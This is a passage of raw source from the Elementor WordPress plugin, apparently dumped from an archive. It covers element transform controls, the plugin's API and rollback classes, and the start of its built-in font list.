'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vh', 'custom' ], 'range' => [ '%' => [ 'min' => -100, 'max' => 100, ], 'px' => [ 'min' => -1000, 'max' => 1000, ], ], 'condition' => [ "_transform_translate_popover{$tab}!" => '', ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-translateY: {{SIZE}}{{UNIT}};', ], 'frontend_available' => true, ] ); $this->end_popover(); $this->add_control( "_transform_scale_popover{$tab}", [ 'label' => esc_html__( 'Scale', 'elementor' ), 'type' => Controls_Manager::POPOVER_TOGGLE, 'prefix_class' => $transform_prefix_class, 'return_value' => $transform_return_value, ] ); $this->start_popover(); $this->add_control( "_transform_keep_proportions{$tab}", [ 'label' => esc_html__( 'Keep Proportions', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'On', 'elementor' ), 'label_off' => esc_html__( 'Off', 'elementor' ), 'default' => 'yes', ] ); $this->add_responsive_control( "_transform_scale_effect{$tab}", [ 'label' => esc_html__( 'Scale', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 2, 'step' => 0.1, ], ], 'condition' => [ "_transform_scale_popover{$tab}!" => '', "_transform_keep_proportions{$tab}!" => '', ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-scale: {{SIZE}};', ], 'frontend_available' => true, ] ); $this->add_responsive_control( "_transform_scaleX_effect{$tab}", [ 'label' => esc_html__( 'Scale X', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 2, 'step' => 0.1, ], ], 'condition' => [ "_transform_scale_popover{$tab}!" => '', "_transform_keep_proportions{$tab}" => '', ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-scaleX: {{SIZE}};', ], 'frontend_available' => true, ] ); $this->add_responsive_control( "_transform_scaleY_effect{$tab}", [ 'label' => esc_html__( 'Scale Y', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ 'px' => [ 'max' => 2, 'step' => 0.1, ], ], 'condition' => [ "_transform_scale_popover{$tab}!" => '', "_transform_keep_proportions{$tab}" => '', ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-scaleY: {{SIZE}};', ], 'frontend_available' => true, ] ); $this->end_popover(); $this->add_control( "_transform_skew_popover{$tab}", [ 'label' => esc_html__( 'Skew', 'elementor' ), 'type' => Controls_Manager::POPOVER_TOGGLE, 'prefix_class' => $transform_prefix_class, 'return_value' => $transform_return_value, ] ); $this->start_popover(); $this->add_responsive_control( "_transform_skewX_effect{$tab}", [ 'label' => esc_html__( 'Skew X', 'elementor' ) . ' (deg)', 'type' => Controls_Manager::SLIDER, 'device_args' => $default_unit_values_deg, 'range' => [ 'px' => [ 'min' => -360, 'max' => 360, ], ], 'condition' => [ "_transform_skew_popover{$tab}!" => '', ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-skewX: {{SIZE}}deg;', ], 'frontend_available' => true, ] ); $this->add_responsive_control( "_transform_skewY_effect{$tab}", [ 'label' => esc_html__( 'Skew Y', 'elementor' ) . ' (deg)', 'type' => Controls_Manager::SLIDER, 'device_args' => $default_unit_values_deg, 'range' => [ 'px' => [ 'min' => -360, 'max' => 360, ], ], 'condition' => [ "_transform_skew_popover{$tab}!" => '', ], 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-skewY: {{SIZE}}deg;', ], 'frontend_available' => true, ] ); $this->end_popover(); $this->add_control( "_transform_flipX_effect{$tab}", [ 'label' => esc_html__( 'Flip Horizontal', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'transform' => [ 'title' => esc_html__( 'Flip Horizontal', 'elementor' ), 'icon' => 'eicon-flip eicon-tilted', ], ], 'prefix_class' => $transform_prefix_class, 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-flipX: -1', ], 'frontend_available' => true, ] ); $this->add_control( "_transform_flipY_effect{$tab}", [ 'label' => esc_html__( 'Flip Vertical', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'transform' => [ 'title' => esc_html__( 'Flip Vertical', 'elementor' ), 'icon' => 'eicon-flip', ], ], 'prefix_class' => $transform_prefix_class, 'selectors' => [ "{{WRAPPER}}{$transform_selector_class}{$state}" => '--e-' . $transform_css_modifier . 'transform-flipY: -1', ], 'frontend_available' => true, ] ); if ( '_hover' === $tab ) { $this->add_control( '_transform_transition_hover', [ 'label' => esc_html__( 'Transition Duration', 'elementor' ) . ' (ms)', 'type' => Controls_Manager::SLIDER, 'device_args' => $default_unit_values_ms, 'range' => [ 'px' => [ 'min' => 0, 'max' => 10000, 'step' => 100, ], ], 'selectors' => [ '{{WRAPPER}}' => '--e-' . $transform_css_modifier . 'transform-transition-duration: {{SIZE}}ms', ], ] ); } ${"transform_origin_conditions{$tab}"} = [ [ 'name' => "_transform_scale_popover{$tab}", 'operator' => '!=', 'value' => '', ], [ 'name' => "_transform_rotate_popover{$tab}", 'operator' => '!=', 'value' => '', ], [ 'name' => "_transform_flipX_effect{$tab}", 'operator' => '!=', 'value' => '', ], [ 'name' => "_transform_flipY_effect{$tab}", 'operator' => '!=', 'value' => '', ], ]; $this->end_controls_tab(); } $this->end_controls_tabs(); $transform_origin_conditions = [ 'relation' => 'or', 'terms' => array_merge( $transform_origin_conditions, $transform_origin_conditions_hover ), ]; // Will override motion effect transform-origin $this->add_responsive_control( 'motion_fx_transform_x_anchor_point', [ 'label' => esc_html__( 'X Anchor Point', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'left' => [ 'title' => esc_html__( 'Left', 'elementor' ), 'icon' => 'eicon-h-align-left', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-h-align-center', ], 'right' => [ 'title' => esc_html__( 'Right', 'elementor' ), 'icon' => 'eicon-h-align-right', ], ], 'conditions' => $transform_origin_conditions, 'separator' => 'before', 'selectors' => [ '{{WRAPPER}}' => '--e-' . $transform_css_modifier . 'transform-origin-x: {{VALUE}}', ], ] ); // Will override motion effect transform-origin $this->add_responsive_control( 'motion_fx_transform_y_anchor_point', [ 'label' => esc_html__( 'Y Anchor Point', 'elementor' ), 'type' => Controls_Manager::CHOOSE, 'options' => [ 'top' => [ 'title' => esc_html__( 'Top', 'elementor' ), 'icon' => 'eicon-v-align-top', ], 'center' => [ 'title' => esc_html__( 'Center', 'elementor' ), 'icon' => 'eicon-v-align-middle', ], 'bottom' => [ 'title' => esc_html__( 'Bottom', 'elementor' ), 'icon' => 'eicon-v-align-bottom', ], ], 'conditions' => $transform_origin_conditions, 'selectors' => [ '{{WRAPPER}}' => '--e-' . $transform_css_modifier . 'transform-origin-y: {{VALUE}}', ], ] ); $this->end_controls_section(); } /** * Add Hidden Device Controls * * Adds controls for hiding elements within certain devices' viewport widths. Adds a control for each active device. * * @since 3.4.0 * @access protected */ protected function add_hidden_device_controls() { // The 'Hide On X' controls are displayed from largest to smallest, while the method returns smallest to largest. $active_devices = Plugin::$instance->breakpoints->get_active_devices_list( [ 'reverse' => true ] ); $active_breakpoints = Plugin::$instance->breakpoints->get_active_breakpoints(); foreach ( $active_devices as $breakpoint_key ) { $label = 'desktop' === $breakpoint_key ? esc_html__( 'Desktop', 'elementor' ) : $active_breakpoints[ $breakpoint_key ]->get_label(); $this->add_control( 'hide_' . $breakpoint_key, [ 'label' => sprintf( /* translators: %s: Device name. */ esc_html__( 'Hide On %s', 'elementor' ), $label ), 'type' => Controls_Manager::SWITCHER, 'default' => '', 'prefix_class' => 'elementor-', 'label_on' => esc_html__( 'Hide', 'elementor' ), 'label_off' => esc_html__( 'Show', 'elementor' ), 'return_value' => 'hidden-' . $breakpoint_key, ] ); } } /** * Get default data. * * Retrieve the default element data. Used to reset the data on initialization. * * @since 1.0.0 * @access protected * * @return array Default data. */ protected function get_default_data() { $data = parent::get_default_data(); return array_merge( $data, [ 'elements' => [], 'isInner' => false, ] ); } /** * Print element content. * * Output the element final HTML on the frontend. * * @since 1.0.0 * @access protected * @deprecated 3.1.0 Use `print_content()` method instead. */ protected function _print_content() { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( __METHOD__, '3.1.0', 'print_content()' ); $this->print_content(); } /** * Print element content. * * Output the element final HTML on the frontend. * * @since 3.1.0 * @access protected */ protected function print_content() { foreach ( $this->get_children() as $child ) { $child->print_element(); } } /** * Get initial config. * * Retrieve the current element initial configuration. * * Adds more configuration on top of the controls list and the tabs assigned * to the control. This method also adds element name, type, icon and more. * * @since 2.9.0 * @access protected * * @return array The initial config. */ protected function get_initial_config() { $config = [ 'name' => $this->get_name(), 'elType' => $this->get_type(), 'title' => $this->get_title(), 'icon' => $this->get_icon(), 'reload_preview' => $this->is_reload_preview_required(), ]; if ( preg_match( '/^' . __NAMESPACE__ . '(Pro)?\\\\/', get_called_class() ) ) { $config['help_url'] = $this->get_help_url(); } else { $config['help_url'] = $this->get_custom_help_url(); } if ( ! $this->is_editable() ) { $config['editable'] = false; } return $config; } /** * A Base method for sanitizing the settings before save. * This method is meant to be overridden by the element. */ protected function on_save( array $settings ) { return $settings; } /** * Get child type. * * Retrieve the element child type based on element data. * * @since 2.0.0 * @access private * * @param array $element_data Element ID. * * @return Element_Base|false Child type or false if type not found. */ private function get_child_type( $element_data ) { $child_type = $this->_get_default_child_type( $element_data ); // If it's not a valid widget ( like a deactivated plugin ) if ( ! $child_type ) { return false; } /** * Element child type. * * Filters the child type of the element. * * @since 1.0.0 * * @param Element_Base $child_type The child element. * @param array $element_data The original element ID. * @param Element_Base $this The original element. */ $child_type = apply_filters( 'elementor/element/get_child_type', $child_type, $element_data, $this ); return $child_type; } /** * Initialize children. * * Initializing the element child elements. * * @since 2.0.0 * @access private */ private function init_children() { $this->children = []; $children_data = $this->get_data( 'elements' ); if ( ! $children_data ) { return; } foreach ( $children_data as $child_data ) { if ( ! $child_data ) { continue; } $this->add_child( $child_data ); } } /** * Element base constructor. * * Initializing the element base class using `$data` and `$args`. * * The `$data` parameter is required for a normal instance because of the * way Elementor renders data when initializing elements. * * @since 1.0.0 * @access public * * @param array $data Optional. Element data. Default is an empty array. * @param array|null $args Optional. Element default arguments. Default is null. **/ public function __construct( array $data = [], array $args = null ) { if ( $data ) { $this->is_type_instance = false; } elseif ( $args ) { $this->default_args = $args; } parent::__construct( $data ); } } includes/api.php000064400000015104147206604650007647 0ustar00 $timeout, 'body' => [ // Which API version is used. 'api_version' => ELEMENTOR_VERSION, // Which language to return. 'site_lang' => get_bloginfo( 'language' ), ], ] ); if ( is_wp_error( $response ) || 200 !== (int) wp_remote_retrieve_response_code( $response ) ) { set_transient( $cache_key, [], 2 * HOUR_IN_SECONDS ); return false; } $info_data = json_decode( wp_remote_retrieve_body( $response ), true ); if ( empty( $info_data ) || ! is_array( $info_data ) ) { set_transient( $cache_key, [], 2 * HOUR_IN_SECONDS ); return false; } if ( isset( $info_data['library'] ) ) { update_option( self::LIBRARY_OPTION_KEY, $info_data['library'], 'no' ); unset( $info_data['library'] ); } if ( isset( $info_data['feed'] ) ) { update_option( self::FEED_OPTION_KEY, $info_data['feed'], 'no' ); unset( $info_data['feed'] ); } set_transient( $cache_key, $info_data, 12 * HOUR_IN_SECONDS ); } return $info_data; } /** * Get upgrade notice. * * Retrieve the upgrade notice if one exists, or false otherwise. * * @since 1.0.0 * @access public * @static * * @return array|false Upgrade notice, or false none exist. */ public static function get_upgrade_notice() { $data = self::get_info_data(); if ( empty( $data['upgrade_notice'] ) ) { return false; } return $data['upgrade_notice']; } public static function get_admin_notice() { $data = self::get_info_data(); if ( empty( $data['admin_notice'] ) ) { return false; } return $data['admin_notice']; } public static function get_canary_deployment_info( $force = false ) { $data = self::get_info_data( $force ); if ( empty( $data['canary_deployment'] ) ) { return false; } return $data['canary_deployment']; } public static function get_promotion_widgets() { $data = self::get_info_data(); if ( ! isset( $data['pro_widgets'] ) ) { $data['pro_widgets'] = []; } return $data['pro_widgets']; } /** * Get templates data. * * Retrieve the templates data from a remote server. * * @since 2.0.0 * @access public * @static * * @param bool $force_update Optional. Whether to force the data update or * not. Default is false. * * @return array The templates data. */ public static function get_library_data( $force_update = false ) { self::get_info_data( $force_update ); $library_data = get_option( self::LIBRARY_OPTION_KEY ); if ( empty( $library_data ) ) { return []; } return $library_data; } /** * Get feed data. * * Retrieve the feed info data from remote elementor server. * * @since 1.9.0 * @access public * @static * * @param bool $force_update Optional. Whether to force the data update or * not. Default is false. * * @return array Feed data. */ public static function get_feed_data( $force_update = false ) { self::get_info_data( $force_update ); $feed = get_option( self::FEED_OPTION_KEY ); if ( empty( $feed ) ) { return []; } return $feed; } /** * Get template content. * * Retrieve the templates content received from a remote server. * * @since 1.0.0 * @access public * @static * * @param int $template_id The template ID. * * @return object|\WP_Error The template content. */ public static function get_template_content( $template_id ) { /** @var Library $library */ $library = Plugin::$instance->common->get_component( 'connect' )->get_app( 'library' ); return $library->get_template_content( $template_id ); } /** * Send Feedback. * * Fires a request to Elementor server with the feedback data. * * @since 1.0.0 * @access public * @static * * @param string $feedback_key Feedback key. * @param string $feedback_text Feedback text. * * @return array The response of the request. */ public static function send_feedback( $feedback_key, $feedback_text ) { return wp_remote_post( self::$api_feedback_url, [ 'timeout' => 30, 'body' => [ 'api_version' => ELEMENTOR_VERSION, 'site_lang' => get_bloginfo( 'language' ), 'feedback_key' => $feedback_key, 'feedback' => $feedback_text, ], ] ); } /** * Ajax reset API data. * * Reset Elementor library API data using an ajax call. * * @since 1.0.0 * @access public * @static */ public static function ajax_reset_api_data() { check_ajax_referer( 'elementor_reset_library', '_nonce' ); if ( ! current_user_can( 'manage_options' ) ) { wp_send_json_error( 'Permission denied' ); } self::get_info_data( true ); wp_send_json_success(); } /** * Init. * * Initialize Elementor API. * * @since 1.0.0 * @access public * @static */ public static function init() { add_action( 'wp_ajax_elementor_reset_library', [ __CLASS__, 'ajax_reset_api_data' ] ); } } includes/rollback.php000064400000007212147206604650010670 0ustar00 $value ) { $this->{$key} = $value; } } /** * Print inline style. * * Add an inline CSS to the rollback page. * * @since 1.5.0 * @access private */ private function print_inline_style() { ?> new_version = $this->version; $plugin_info->slug = $this->plugin_slug; $plugin_info->package = $this->package_url; $plugin_info->url = 'https://elementor.com/'; $update_plugins->response[ $this->plugin_name ] = $plugin_info; // Remove handle beta testers. remove_filter( 'pre_set_site_transient_update_plugins', [ Plugin::instance()->beta_testers, 'check_version' ] ); set_site_transient( 'update_plugins', $update_plugins ); } /** * Upgrade. * * Run WordPress upgrade to rollback Elementor to previous version. * * @since 1.5.0 * @access protected */ protected function upgrade() { require_once( ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' ); $logo_url = ELEMENTOR_ASSETS_URL . 'images/logo-panel.svg'; $upgrader_args = [ 'url' => 'update.php?action=upgrade-plugin&plugin=' . rawurlencode( $this->plugin_name ), 'plugin' => $this->plugin_name, 'nonce' => 'upgrade-plugin_' . $this->plugin_name, 'title' => 'Elementor' . esc_html__( 'Rollback to Previous Version', 'elementor' ), ]; $this->print_inline_style(); $upgrader = new \Plugin_Upgrader( new \Plugin_Upgrader_Skin( $upgrader_args ) ); $upgrader->upgrade( $this->plugin_name ); } /** * Run. * * Rollback Elementor to previous versions. * * @since 1.5.0 * @access public */ public function run() { $this->apply_package(); $this->upgrade(); } } includes/fonts.php000064400000175033147206604650010237 0ustar00 esc_html__( 'System', 'elementor' ), ]; if ( static::is_google_fonts_enabled() ) { $font_groups = array_merge( $font_groups, [ self::GOOGLE => esc_html__( 'Google', 'elementor' ), self::EARLYACCESS => esc_html__( 'Google (Early Access)', 'elementor' ), ] ); } /** * Font groups. * * Filters the fonts groups used by Elementor. * * @since 1.9.4 * * @param array $font_groups Font groups. */ $font_groups = apply_filters( 'elementor/fonts/groups', $font_groups ); self::$font_groups = $font_groups; } return self::$font_groups; } /** * Get fonts. * * Retrieve the list of supported fonts. * * @since 1.0.0 * @access public * @static * * @return array Supported fonts. */ public static function get_fonts() { if ( null === self::$fonts ) { $additional_fonts = []; /** * Additional fonts. * * Filters the fonts used by Elementor to add additional fonts. * * @since 1.9.4 * * @param array $additional_fonts Additional Elementor fonts. */ $additional_fonts = apply_filters( 'elementor/fonts/additional_fonts', $additional_fonts ); self::$fonts = array_replace( self::get_native_fonts(), $additional_fonts ); } return self::$fonts; } /** * Get Elementor native fonts. * * Retrieve the list of supported fonts. * * @since 1.9.4 * @access private * @static * * @return array Supported fonts. */ private static function get_native_fonts() { $fonts = [ // System fonts. 'Arial' => self::SYSTEM, 'Tahoma' => self::SYSTEM, 'Verdana' => self::SYSTEM, 'Helvetica' => self::SYSTEM, 'Times New Roman' => self::SYSTEM, 'Trebuchet MS' => self::SYSTEM, 'Georgia' => self::SYSTEM, ]; if ( static::is_google_fonts_enabled() ) { $fonts = array_merge( $fonts, [ // Google Fonts (last update: 05/05/2024). 'ABeeZee' => self::GOOGLE, 'ADLaM Display' => self::GOOGLE, 'AR One Sans' => self::GOOGLE, 'Abel' => self::GOOGLE, 'Abhaya Libre' => self::GOOGLE, 'Aboreto' => self::GOOGLE, 'Abril Fatface' => self::GOOGLE, 'Abyssinica SIL' => self::GOOGLE, 'Aclonica' => self::GOOGLE, 'Acme' => self::GOOGLE, 'Actor' => self::GOOGLE, 'Adamina' => self::GOOGLE, 'Advent Pro' => self::GOOGLE, 'Afacad' => self::GOOGLE, 'Agbalumo' => self::GOOGLE, 'Agdasima' => self::GOOGLE, 'Aguafina Script' => self::GOOGLE, 'Akatab' => self::GOOGLE, 'Akaya Kanadaka' => self::GOOGLE, 'Akaya Telivigala' => self::GOOGLE, 'Akronim' => self::GOOGLE, 'Akshar' => self::GOOGLE, 'Aladin' => self::GOOGLE, 'Alata' => self::GOOGLE, 'Alatsi' => self::GOOGLE, 'Albert Sans' => self::GOOGLE, 'Aldrich' => self::GOOGLE, 'Alef' => self::GOOGLE, 'Alef Hebrew' => self::EARLYACCESS, // Hack for Google Early Access. 'Alegreya' => self::GOOGLE, 'Alegreya SC' => self::GOOGLE, 'Alegreya Sans' => self::GOOGLE, 'Alegreya Sans SC' => self::GOOGLE, 'Aleo' => self::GOOGLE, 'Alex Brush' => self::GOOGLE, 'Alexandria' => self::GOOGLE, 'Alfa Slab One' => self::GOOGLE, 'Alice' => self::GOOGLE, 'Alike' => self::GOOGLE, 'Alike Angular' => self::GOOGLE, 'Alkalami' => self::GOOGLE, 'Alkatra' => self::GOOGLE, 'Allan' => self::GOOGLE, 'Allerta' => self::GOOGLE, 'Allerta Stencil' => self::GOOGLE, 'Allison' => self::GOOGLE, 'Allura' => self::GOOGLE, 'Almarai' => self::GOOGLE, 'Almendra' => self::GOOGLE, 'Almendra Display' => self::GOOGLE, 'Almendra SC' => self::GOOGLE, 'Alumni Sans' => self::GOOGLE, 'Alumni Sans Collegiate One' => self::GOOGLE, 'Alumni Sans Inline One' => self::GOOGLE, 'Alumni Sans Pinstripe' => self::GOOGLE, 'Amarante' => self::GOOGLE, 'Amaranth' => self::GOOGLE, 'Amatic SC' => self::GOOGLE, 'Amethysta' => self::GOOGLE, 'Amiko' => self::GOOGLE, 'Amiri' => self::GOOGLE, 'Amiri Quran' => self::GOOGLE, 'Amita' => self::GOOGLE, 'Anaheim' => self::GOOGLE, 'Andada Pro' => self::GOOGLE, 'Andika' => self::GOOGLE, 'Anek Bangla' => self::GOOGLE, 'Anek Devanagari' => self::GOOGLE, 'Anek Gujarati' => self::GOOGLE, 'Anek Gurmukhi' => self::GOOGLE, 'Anek Kannada' => self::GOOGLE, 'Anek Latin' => self::GOOGLE, 'Anek Malayalam' => self::GOOGLE, 'Anek Odia' => self::GOOGLE, 'Anek Tamil' => self::GOOGLE, 'Anek Telugu' => self::GOOGLE, 'Angkor' => self::GOOGLE, 'Annapurna SIL' => self::GOOGLE, 'Annie Use Your Telescope' => self::GOOGLE, 'Anonymous Pro' => self::GOOGLE, 'Anta' => self::GOOGLE, 'Antic' => self::GOOGLE, 'Antic Didone' => self::GOOGLE, 'Antic Slab' => self::GOOGLE, 'Anton' => self::GOOGLE, 'Antonio' => self::GOOGLE, 'Anuphan' => self::GOOGLE, 'Anybody' => self::GOOGLE, 'Aoboshi One' => self::GOOGLE, 'Arapey' => self::GOOGLE, 'Arbutus' => self::GOOGLE, 'Arbutus Slab' => self::GOOGLE, 'Architects Daughter' => self::GOOGLE, 'Archivo' => self::GOOGLE, 'Archivo Black' => self::GOOGLE, 'Archivo Narrow' => self::GOOGLE, 'Are You Serious' => self::GOOGLE, 'Aref Ruqaa' => self::GOOGLE, 'Aref Ruqaa Ink' => self::GOOGLE, 'Arima' => self::GOOGLE, 'Arimo' => self::GOOGLE, 'Arizonia' => self::GOOGLE, 'Armata' => self::GOOGLE, 'Arsenal' => self::GOOGLE, 'Artifika' => self::GOOGLE, 'Arvo' => self::GOOGLE, 'Arya' => self::GOOGLE, 'Asap' => self::GOOGLE, 'Asap Condensed' => self::GOOGLE, 'Asar' => self::GOOGLE, 'Asset' => self::GOOGLE, 'Assistant' => self::GOOGLE, 'Astloch' => self::GOOGLE, 'Asul' => self::GOOGLE, 'Athiti' => self::GOOGLE, 'Atkinson Hyperlegible' => self::GOOGLE, 'Atma' => self::GOOGLE, 'Atomic Age' => self::GOOGLE, 'Aubrey' => self::GOOGLE, 'Audiowide' => self::GOOGLE, 'Autour One' => self::GOOGLE, 'Average' => self::GOOGLE, 'Average Sans' => self::GOOGLE, 'Averia Gruesa Libre' => self::GOOGLE, 'Averia Libre' => self::GOOGLE, 'Averia Sans Libre' => self::GOOGLE, 'Averia Serif Libre' => self::GOOGLE, 'Azeret Mono' => self::GOOGLE, 'B612' => self::GOOGLE, 'B612 Mono' => self::GOOGLE, 'BIZ UDGothic' => self::GOOGLE, 'BIZ UDMincho' => self::GOOGLE, 'BIZ UDPGothic' => self::GOOGLE, 'BIZ UDPMincho' => self::GOOGLE, 'Babylonica' => self::GOOGLE, 'Bacasime Antique' => self::GOOGLE, 'Bad Script' => self::GOOGLE, 'Bagel Fat One' => self::GOOGLE, 'Bahiana' => self::GOOGLE, 'Bahianita' => self::GOOGLE, 'Bai Jamjuree' => self::GOOGLE, 'Bakbak One' => self::GOOGLE, 'Ballet' => self::GOOGLE, 'Baloo 2' => self::GOOGLE, 'Baloo Bhai 2' => self::GOOGLE, 'Baloo Bhaijaan 2' => self::GOOGLE, 'Baloo Bhaina 2' => self::GOOGLE, 'Baloo Chettan 2' => self::GOOGLE, 'Baloo Da 2' => self::GOOGLE, 'Baloo Paaji 2' => self::GOOGLE, 'Baloo Tamma 2' => self::GOOGLE, 'Baloo Tammudu 2' => self::GOOGLE, 'Baloo Thambi 2' => self::GOOGLE, 'Balsamiq Sans' => self::GOOGLE, 'Balthazar' => self::GOOGLE, 'Bangers' => self::GOOGLE, 'Barlow' => self::GOOGLE, 'Barlow Condensed' => self::GOOGLE, 'Barlow Semi Condensed' => self::GOOGLE, 'Barriecito' => self::GOOGLE, 'Barrio' => self::GOOGLE, 'Basic' => self::GOOGLE, 'Baskervville' => self::GOOGLE, 'Battambang' => self::GOOGLE, 'Baumans' => self::GOOGLE, 'Bayon' => self::GOOGLE, 'Be Vietnam Pro' => self::GOOGLE, 'Beau Rivage' => self::GOOGLE, 'Bebas Neue' => self::GOOGLE, 'Belanosima' => self::GOOGLE, 'Belgrano' => self::GOOGLE, 'Bellefair' => self::GOOGLE, 'Belleza' => self::GOOGLE, 'Bellota' => self::GOOGLE, 'Bellota Text' => self::GOOGLE, 'BenchNine' => self::GOOGLE, 'Benne' => self::GOOGLE, 'Bentham' => self::GOOGLE, 'Berkshire Swash' => self::GOOGLE, 'Besley' => self::GOOGLE, 'Beth Ellen' => self::GOOGLE, 'Bevan' => self::GOOGLE, 'BhuTuka Expanded One' => self::GOOGLE, 'Big Shoulders Display' => self::GOOGLE, 'Big Shoulders Inline Display' => self::GOOGLE, 'Big Shoulders Inline Text' => self::GOOGLE, 'Big Shoulders Stencil Display' => self::GOOGLE, 'Big Shoulders Stencil Text' => self::GOOGLE, 'Big Shoulders Text' => self::GOOGLE, 'Bigelow Rules' => self::GOOGLE, 'Bigshot One' => self::GOOGLE, 'Bilbo' => self::GOOGLE, 'Bilbo Swash Caps' => self::GOOGLE, 'BioRhyme' => self::GOOGLE, 'BioRhyme Expanded' => self::GOOGLE, 'Birthstone' => self::GOOGLE, 'Birthstone Bounce' => self::GOOGLE, 'Biryani' => self::GOOGLE, 'Bitter' => self::GOOGLE, 'Black And White Picture' => self::GOOGLE, 'Black Han Sans' => self::GOOGLE, 'Black Ops One' => self::GOOGLE, 'Blaka' => self::GOOGLE, 'Blaka Hollow' => self::GOOGLE, 'Blaka Ink' => self::GOOGLE, 'Blinker' => self::GOOGLE, 'Bodoni Moda' => self::GOOGLE, 'Bokor' => self::GOOGLE, 'Bona Nova' => self::GOOGLE, 'Bonbon' => self::GOOGLE, 'Bonheur Royale' => self::GOOGLE, 'Boogaloo' => self::GOOGLE, 'Borel' => self::GOOGLE, 'Bowlby One' => self::GOOGLE, 'Bowlby One SC' => self::GOOGLE, 'Braah One' => self::GOOGLE, 'Brawler' => self::GOOGLE, 'Bree Serif' => self::GOOGLE, 'Bricolage Grotesque' => self::GOOGLE, 'Briem Hand' => self::GOOGLE, 'Bruno Ace' => self::GOOGLE, 'Bruno Ace SC' => self::GOOGLE, 'Brygada 1918' => self::GOOGLE, 'Bubblegum Sans' => self::GOOGLE, 'Bubbler One' => self::GOOGLE, 'Buda' => self::GOOGLE, 'Buenard' => self::GOOGLE, 'Bungee' => self::GOOGLE, 'Bungee Hairline' => self::GOOGLE, 'Bungee Inline' => self::GOOGLE, 'Bungee Outline' => self::GOOGLE, 'Bungee Shade' => self::GOOGLE, 'Bungee Spice' => self::GOOGLE, 'Butcherman' => self::GOOGLE, 'Butterfly Kids' => self::GOOGLE, 'Cabin' => self::GOOGLE, 'Cabin Condensed' => self::GOOGLE, 'Cabin Sketch' => self::GOOGLE, 'Caesar Dressing' => self::GOOGLE, 'Cagliostro' => self::GOOGLE, 'Cairo' => self::GOOGLE, 'Cairo Play' => self::GOOGLE, 'Caladea' => self::GOOGLE, 'Calistoga' => self::GOOGLE, 'Calligraffitti' => self::GOOGLE, 'Cambay' => self::GOOGLE, 'Cambo' => self::GOOGLE, 'Candal' => self::GOOGLE, 'Cantarell' => self::GOOGLE, 'Cantata One' => self::GOOGLE, 'Cantora One' => self::GOOGLE, 'Caprasimo' => self::GOOGLE, 'Capriola' => self::GOOGLE, 'Caramel' => self::GOOGLE, 'Carattere' => self::GOOGLE, 'Cardo' => self::GOOGLE, 'Carlito' => self::GOOGLE, 'Carme' => self::GOOGLE, 'Carrois Gothic' => self::GOOGLE, 'Carrois Gothic SC' => self::GOOGLE, 'Carter One' => self::GOOGLE, 'Castoro' => self::GOOGLE, 'Castoro Titling' => self::GOOGLE, 'Catamaran' => self::GOOGLE, 'Caudex' => self::GOOGLE, 'Caveat' => self::GOOGLE, 'Caveat Brush' => self::GOOGLE, 'Cedarville Cursive' => self::GOOGLE, 'Ceviche One' => self::GOOGLE, 'Chakra Petch' => self::GOOGLE, 'Changa' => self::GOOGLE, 'Changa One' => self::GOOGLE, 'Chango' => self::GOOGLE, 'Charis SIL' => self::GOOGLE, 'Charm' => self::GOOGLE, 'Charmonman' => self::GOOGLE, 'Chathura' => self::GOOGLE, 'Chau Philomene One' => self::GOOGLE, 'Chela One' => self::GOOGLE, 'Chelsea Market' => self::GOOGLE, 'Chenla' => self::GOOGLE, 'Cherish' => self::GOOGLE, 'Cherry Bomb One' => self::GOOGLE, 'Cherry Cream Soda' => self::GOOGLE, 'Cherry Swash' => self::GOOGLE, 'Chewy' => self::GOOGLE, 'Chicle' => self::GOOGLE, 'Chilanka' => self::GOOGLE, 'Chivo' => self::GOOGLE, 'Chivo Mono' => self::GOOGLE, 'Chokokutai' => self::GOOGLE, 'Chonburi' => self::GOOGLE, 'Cinzel' => self::GOOGLE, 'Cinzel Decorative' => self::GOOGLE, 'Clicker Script' => self::GOOGLE, 'Climate Crisis' => self::GOOGLE, 'Coda' => self::GOOGLE, 'Coda Caption' => self::GOOGLE, 'Codystar' => self::GOOGLE, 'Coiny' => self::GOOGLE, 'Combo' => self::GOOGLE, 'Comfortaa' => self::GOOGLE, 'Comforter' => self::GOOGLE, 'Comforter Brush' => self::GOOGLE, 'Comic Neue' => self::GOOGLE, 'Coming Soon' => self::GOOGLE, 'Comme' => self::GOOGLE, 'Commissioner' => self::GOOGLE, 'Concert One' => self::GOOGLE, 'Condiment' => self::GOOGLE, 'Content' => self::GOOGLE, 'Contrail One' => self::GOOGLE, 'Convergence' => self::GOOGLE, 'Cookie' => self::GOOGLE, 'Copse' => self::GOOGLE, 'Corben' => self::GOOGLE, 'Corinthia' => self::GOOGLE, 'Cormorant' => self::GOOGLE, 'Cormorant Garamond' => self::GOOGLE, 'Cormorant Infant' => self::GOOGLE, 'Cormorant SC' => self::GOOGLE, 'Cormorant Unicase' => self::GOOGLE, 'Cormorant Upright' => self::GOOGLE, 'Courgette' => self::GOOGLE, 'Courier Prime' => self::GOOGLE, 'Cousine' => self::GOOGLE, 'Coustard' => self::GOOGLE, 'Covered By Your Grace' => self::GOOGLE, 'Crafty Girls' => self::GOOGLE, 'Creepster' => 